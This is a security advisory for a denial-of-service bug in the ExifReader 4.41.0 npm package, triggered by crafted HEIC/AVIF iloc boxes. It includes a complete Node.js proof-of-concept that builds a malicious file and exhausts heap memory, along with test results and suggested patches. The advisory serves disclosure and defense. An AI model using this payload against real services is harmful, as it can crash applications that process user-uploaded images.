GHSA-pj96-35fp-cfcc

Summary

ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious iloc box. When offsetSize, lengthSize, and baseOffsetSize are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to itemCount × extentCount (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.

Affected version tested

• npm package: exifreader
• Version: 4.41.0
• Affected formats: HEIC, AVIF (ISO-BMFF container)

Root cause

File: src/image-header-iso-bmff-iloc.js, lines 79–116, function getItems().

The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):

| Field | Controls | |-------|----------| | offsetSize | Bytes per extent offset | | lengthSize | Bytes per extent length | | baseOffsetSize | Bytes per item base offset | | indexSize | Bytes per extent index |

The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:

for (let j = 0; j < item.extentCount; j++) {
    const extent = {};
    extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize);
    offset += sizes.item.extent.extentIndex;       // 0 when indexSize=0
    extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize);
    offset += sizes.item.extent.extentOffset;       // 0 when offsetSize=0
    extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize);
    offset += sizes.item.extent.extentLength;       // 0 when lengthSize=0
    item.extents.push(extent);                      // allocates unconditionally
}

When all four size fields are zero (a valid value per the ISO-BMFF specification, meaning "field not present"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto item.extents. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.

Reproduction

Save the following as poc_iloc_dos.js and run with Node.js against the bundled dist/exif-reader.js:

const fs = require('fs');
const ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js');

function u32be(n) {
    return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];
}
function u16be(n) {
    return [(n >>> 8) & 255, n & 255];
}
function str(s) {
    return Array.from(Buffer.from(s, 'ascii'));
}
function box(type, content) {
    return [...u32be(8 + content.length), ...str(type), ...content];
}

const ITEMS = 10000;
const EXTENTS = 65535;

const ftyp = box('ftyp', [
    ...str('heic'),
    ...u32be(0),
    ...str('mif1'),
    0, 0, 0, 0,
]);

const ilocPayload = [
    0, 0, 0, 0,
    0, 0,
    ...u16be(ITEMS),
];

for (let i = 0; i < ITEMS; i++) {
    ilocPayload.push(...u16be(i + 1));
    ilocPayload.push(...u16be(0));
    ilocPayload.push(...u16be(EXTENTS));
}

const iloc = box('iloc', ilocPayload);
const meta = box('meta', [0, 0, 0, 0, ...iloc]);
const data = Uint8Array.from([...ftyp, ...meta]);

fs.writeFileSync('/tmp/poc_iloc_dos.heic', data);

console.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);

const start = Date.now();
const timeout = setTimeout(() => {
    console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);
    process.exit(1);
}, 30000);

try {
    ExifReader.load(data.buffer);
    clearTimeout(timeout);
    console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);
} catch (e) {
    clearTimeout(timeout);
    console.log(`Error: ${e.message}`);
}

Scaled test results

Run the above with different ITEMS values:

| Items | File size | Extent objects | Parse time | Heap growth | |-------|-----------|---------------|------------|-------------| | 1 | 58 bytes | 65,535 | 0.03s | +4 MB | | 5 | 82 bytes | 327,675 | 0.17s | +16 MB | | 100 | 652 bytes | 6,553,500 | 1.74s | +401 MB | | 256 | 1,588 bytes | 16,776,960 | ~8s | OOM crash | | 10000 | 60,052 bytes | 655,350,000 | - | OOM crash (4 GB+) | <img width="1839" height="588" alt="image" src="https://github.com/user-attachments/assets/cc3bd540-4197-4ada-93c9-3397811a6c02" />

Expected behavior

A zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either:

1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or
2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).

Security impact

This is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.

Note: The impact is established using ExifReader's existing distributed (dist/exif-reader.js) code.

Suggested fix

In src/image-header-iso-bmff-iloc.js, in the getItems() function, add a maximum per-item extent limit:

const MAX_EXTENTS_PER_ITEM = 10000;

for (let j = 0; j < item.extentCount; j++) {
    if (item.extents.length >= MAX_EXTENTS_PER_ITEM) {
        break;
    }
    // ... existing code ...
}

Alternatively (or additionally), skip the inner loop when all extent field sizes are zero:

if (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) {
    // Fields are absent per spec; nothing meaningful to read
    // Still advance offset if extentCount > 0 to maintain correctness
    continue;
}